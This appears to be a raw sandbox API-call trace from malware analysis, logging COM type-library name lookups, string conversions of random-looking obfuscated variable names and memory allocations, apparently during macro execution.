0x8 [0019.145] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ArtVcUjX", lHashVal=0x101029, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.145] IUnknown:Release (This=0x7345930) returned 0x7 [0019.145] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.145] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ArtVcUjX", lHashVal=0x101029, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.145] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.146] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.146] IUnknown:Release (This=0x7919520) returned 0x10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a8ae, cbMultiByte=10, lpWideCharStr=0xd4d13e6, cchWideChar=22 | out: lpWideCharStr="CamAVFjqFZ") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a8c2, cbMultiByte=10, lpWideCharStr=0xd4d1590, cchWideChar=22 | out: lpWideCharStr="CEwLdYtTmi") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a8d6, cbMultiByte=10, lpWideCharStr=0xd4d173a, cchWideChar=22 | out: lpWideCharStr="DvjPmYtFip") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a8ea, cbMultiByte=10, lpWideCharStr=0xd4d18e4, cchWideChar=22 | out: lpWideCharStr="MVzqkMauvL") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a8fe, cbMultiByte=10, lpWideCharStr=0xd4d1a8e, cchWideChar=22 | out: lpWideCharStr="tlqaYtHHkX") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a912, cbMultiByte=10, lpWideCharStr=0xd4d1c38, cchWideChar=22 | out: lpWideCharStr="NTQjCHuWOw") returned 10 [0019.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a926, cbMultiByte=10, lpWideCharStr=0xd4d1de2, cchWideChar=22 | out: lpWideCharStr="MbHPMhEHaQ") returned 10 [0019.147] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="FQwRWCijbZo" | out: _Dst="FQwRWCijbZo") returned 0x0 [0019.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="FQwRWCijbZo") returned 12 [0019.147] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.147] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="FQwRWCijbZo", lHashVal=0x10b399, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.147] IUnknown:Release (This=0x7919520) returned 0x10 [0019.147] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.147] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="FQwRWCijbZo", lHashVal=0x10b399, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.147] IUnknown:Release (This=0x7346470) returned 0xb [0019.147] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.147] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="FQwRWCijbZo", lHashVal=0x10b399, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.147] IUnknown:Release (This=0x7345930) returned 0x7 [0019.147] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.147] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="FQwRWCijbZo", lHashVal=0x10b399, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.147] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.147] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_FQwRWCijbZo" | out: _Dst="_B_var_FQwRWCijbZo") returned 0x0 [0019.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_FQwRWCijbZo") returned 19 [0019.147] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.147] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_FQwRWCijbZo", lHashVal=0x10a4fb, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.147] IUnknown:Release (This=0x7919520) returned 0x10 [0019.147] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.147] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_FQwRWCijbZo", lHashVal=0x10a4fb, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.147] IUnknown:Release (This=0x7346470) returned 0xb [0019.147] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.147] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_FQwRWCijbZo", lHashVal=0x10a4fb, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.147] IUnknown:Release (This=0x7345930) returned 0x7 [0019.147] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.147] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_FQwRWCijbZo", lHashVal=0x10a4fb, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.147] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.147] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.147] IUnknown:Release (This=0x7919520) returned 0x10 [0019.147] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4e0000 [0019.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a944, cbMultiByte=18, lpWideCharStr=0xd4e025c, cchWideChar=38 | out: lpWideCharStr="Yt wMcMGRNuWQiYRFz") returned 18 [0019.149] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="PsuCfk" | out: _Dst="PsuCfk") returned 0x0 [0019.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="PsuCfk") returned 7 [0019.149] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.149] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="PsuCfk", lHashVal=0x106a19, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.149] IUnknown:Release (This=0x7919520) returned 0x10 [0019.149] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.149] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="PsuCfk", lHashVal=0x106a19, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.149] IUnknown:Release (This=0x7346470) returned 0xb [0019.149] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.149] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="PsuCfk", lHashVal=0x106a19, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.149] IUnknown:Release (This=0x7345930) returned 0x7 [0019.149] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.149] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="PsuCfk", lHashVal=0x106a19, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.149] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.149] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_PsuCfk" | out: _Dst="_B_var_PsuCfk") returned 0x0 [0019.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_PsuCfk") returned 14 [0019.149] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.149] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_PsuCfk", lHashVal=0x10e4c2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.149] IUnknown:Release (This=0x7919520) returned 0x10 [0019.149] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.149] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_PsuCfk", lHashVal=0x10e4c2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.149] IUnknown:Release (This=0x7346470) returned 0xb [0019.149] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.149] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_PsuCfk", lHashVal=0x10e4c2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.149] IUnknown:Release (This=0x7345930) returned 0x7 [0019.149] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.149] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_PsuCfk", lHashVal=0x10e4c2, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.149] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.149] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.149] IUnknown:Release (This=0x7919520) returned 0x10 [0019.149] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a986, cbMultiByte=10, lpWideCharStr=0xd4e13e8, cchWideChar=22 | out: lpWideCharStr="VdjijtpfQi") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a99a, cbMultiByte=10, lpWideCharStr=0xd4e1592, cchWideChar=22 | out: lpWideCharStr="azwXCPASdj") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a9ae, cbMultiByte=10, lpWideCharStr=0xd4e173c, cchWideChar=22 | out: lpWideCharStr="uWFSmtGdkz") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a9c2, cbMultiByte=10, lpWideCharStr=0xd4e18e6, cchWideChar=22 | out: lpWideCharStr="RAVBYbSuwP") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a9d6, cbMultiByte=10, lpWideCharStr=0xd4e1a90, cchWideChar=22 | out: lpWideCharStr="lnjCEfrfrj") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a9ea, cbMultiByte=10, lpWideCharStr=0xd4e1c3a, cchWideChar=22 | out: lpWideCharStr="iMTiwzYNwn") returned 10 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7a9fe, cbMultiByte=10, lpWideCharStr=0xd4e1de4, cchWideChar=22 | out: lpWideCharStr="mMuQQacwzb") returned 10 [0019.150] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="bzqpAQRQ" | out: _Dst="bzqpAQRQ") returned 0x0 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="bzqpAQRQ") returned 9 [0019.150] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.150] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="bzqpAQRQ", lHashVal=0x10e85b, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.150] IUnknown:Release (This=0x7919520) returned 0x10 [0019.150] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_bzqpAQRQ" | out: _Dst="_B_var_bzqpAQRQ") returned 0x0 [0019.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_bzqpAQRQ") returned 16 [0019.151] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd4f0000 [0019.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7aa1c, cbMultiByte=10, lpWideCharStr=0xd4f025c, cchWideChar=22 | out: lpWideCharStr="wzXalREFrt") returned 10 [0019.152] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="dzPMGwnaj" | out: _Dst="dzPMGwnaj") returned 0x0 [0019.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="dzPMGwnaj") returned 10 [0019.152] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_dzPMGwnaj" | out: _Dst="_B_var_dzPMGwnaj") returned 0x0 [0019.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_dzPMGwnaj") returned 17 [0019.152] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd500000 [0019.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7ab36, cbMultiByte=10, lpWideCharStr=0xd500024, cchWideChar=22 | out: lpWideCharStr="ovvXqcPzAF") returned 10 [0019.153] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="RJILIuXE" | out: _Dst="RJILIuXE") returned 0x0 [0019.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="RJILIuXE") returned 9 [0019.154] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_RJILIuXE" | out: _Dst="_B_var_RJILIuXE") returned 0x0 [0019.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_RJILIuXE") returned 16 [0019.154] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="JJaQRqA" | out: _Dst="JJaQRqA") returned 0x0 [0019.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="JJaQRqA") returned 8 [0019.154] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_JJaQRqA" | out: _Dst="_B_var_JJaQRqA") returned 0x0 [0019.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_JJaQRqA") returned 15 [0019.154] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.154] IUnknown:Release (This=0x7919520) returned 0x10 [0019.154] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.154] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7abbc, cbMultiByte=10, lpWideCharStr=0xd503550, cchWideChar=22 | out: lpWideCharStr="LhntOAfiVd") returned 10 [0019.154] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd510000 [0019.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7ac26, cbMultiByte=10, lpWideCharStr=0xd510064, cchWideChar=22 | out: lpWideCharStr="jusHEFZOVA") returned 10 [0019.155] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="YGuMIvC" | out: _Dst="YGuMIvC") returned 0x0 [0019.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="YGuMIvC") returned 8 [0019.155] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_YGuMIvC" | out: _Dst="_B_var_YGuMIvC") returned 0x0 [0019.155] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_YGuMIvC") returned 15 [0019.155] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd520000 [0019.156] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="TpBJRv" | out: _Dst="TpBJRv") returned 0x0 [0019.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="TpBJRv") returned 7 [0019.156] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_TpBJRv" | out: _Dst="_B_var_TpBJRv") returned 0x0 [0019.156] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_TpBJRv") returned 14 [0019.157] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd530000 [0019.157] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="vCUXj" | out: _Dst="vCUXj") returned 0x0 [0019.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="vCUXj") returned 6 [0019.158] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_vCUXj" | out: _Dst="_B_var_vCUXj") returned 0x0 [0019.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=13, lpWideCharStr=0x305060, cchWideChar=13 | out: lpWideCharStr="_B_var_vCUXj") returned 13 [0019.158] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="tTsKLC" | out: _Dst="tTsKLC") returned 0x0 [0019.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="tTsKLC") returned 7 [0019.158] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_tTsKLC" | out: _Dst="_B_var_tTsKLC") returned 0x0 [0019.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_tTsKLC") returned 14 [0019.158] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd540000 [0019.159] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="QKqffwwtJD" | out: _Dst="QKqffwwtJD") returned 0x0 [0019.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="QKqffwwtJD") returned 11 [0019.159] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_QKqffwwtJD" | out: _Dst="_B_var_QKqffwwtJD") returned 0x0 [0019.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_QKqffwwtJD") returned 18 [0019.159] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="AvJOXCOA" | out: _Dst="AvJOXCOA") returned 0x0 [0019.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="AvJOXCOA") returned 9 [0019.160] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_AvJOXCOA" | out: _Dst="_B_var_AvJOXCOA") returned 0x0 [0019.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_AvJOXCOA") returned 16 [0019.160] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd550000 [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7af5c, cbMultiByte=10, lpWideCharStr=0xd550084, cchWideChar=22 | out: lpWideCharStr="HfEGiXOCcl") returned 10 [0019.161] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="NQCliYLVa" | out: _Dst="NQCliYLVa") returned 0x0 [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="NQCliYLVa") returned 10 [0019.161] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_NQCliYLVa" | out: _Dst="_B_var_NQCliYLVa") returned 0x0 [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_NQCliYLVa") returned 17 [0019.161] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720e0) [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7b00c, cbMultiByte=30, lpWideCharStr=0xd55333c, cchWideChar=62 | out: lpWideCharStr="OwucSSsEjTZp wqUduAuUIdIGXAlZW") returned 30 [0019.161] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="IBavROzonIu" | out: _Dst="IBavROzonIu") returned 0x0 [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="IBavROzonIu") returned 12 [0019.161] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_IBavROzonIu" | out: _Dst="_B_var_IBavROzonIu") returned 0x0 [0019.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_IBavROzonIu") returned 19 [0019.162] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd560000 [0019.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7b044, cbMultiByte=10, lpWideCharStr=0xd5600c4, cchWideChar=22 | out: lpWideCharStr="aKBaacoECi") returned 10 [0019.163] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="TozGSDrd" | out: _Dst="TozGSDrd") returned 0x0 [0019.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="TozGSDrd") returned 9 [0019.163] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_TozGSDrd" | out: _Dst="_B_var_TozGSDrd") returned 0x0 [0019.163] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_TozGSDrd") returned 16 [0019.163] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd570000 [0019.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7b172, cbMultiByte=10, lpWideCharStr=0xd570024, cchWideChar=22 | out: lpWideCharStr="wXhwAqvkjc") returned 10 [0019.165] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="TbWkXSMLQr" | out: _Dst="TbWkXSMLQr") returned 0x0 [0019.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="TbWkXSMLQr") returned 11 [0019.165] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_TbWkXSMLQr" | out: _Dst="_B_var_TbWkXSMLQr") returned 0x0 [0019.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_TbWkXSMLQr") returned 18 [0019.165] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd580000 [0019.166] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="YlOnvCT" | out: _Dst="YlOnvCT") returned 0x0 [0019.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="YlOnvCT") returned 8 [0019.166] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_YlOnvCT" | out: _Dst="_B_var_YlOnvCT") returned 0x0 [0019.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_YlOnvCT") returned 15 [0019.166] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="ZYFiRF" | out: _Dst="ZYFiRF") returned 0x0 [0019.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="ZYFiRF") returned 7 [0019.166] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_ZYFiRF" | out: _Dst="_B_var_ZYFiRF") returned 0x0 [0019.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_ZYFiRF") returned 14 [0019.167] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd590000 [0019.168] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="IVVHqKLRh" | out: _Dst="IVVHqKLRh") returned 0x0 [0019.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="IVVHqKLRh") returned 10 [0019.168] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_IVVHqKLRh" | out: _Dst="_B_var_IVVHqKLRh") returned 0x0 [0019.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_IVVHqKLRh") returned 17 [0019.169] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd5a0000 [0019.171] strcpy_s (in: _Dst=0x305060, _DstSize=0x6, _Src="jtZKi" | out: _Dst="jtZKi") returned 0x0 [0019.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=6, lpWideCharStr=0x304eb0, cchWideChar=6 | out: lpWideCharStr="jtZKi") returned 6 [0019.171] strcpy_s (in: _Dst=0x305210, _DstSize=0xd, _Src="_B_var_jtZKi" | out: _Dst="_B_var_jtZKi") returned 0x0 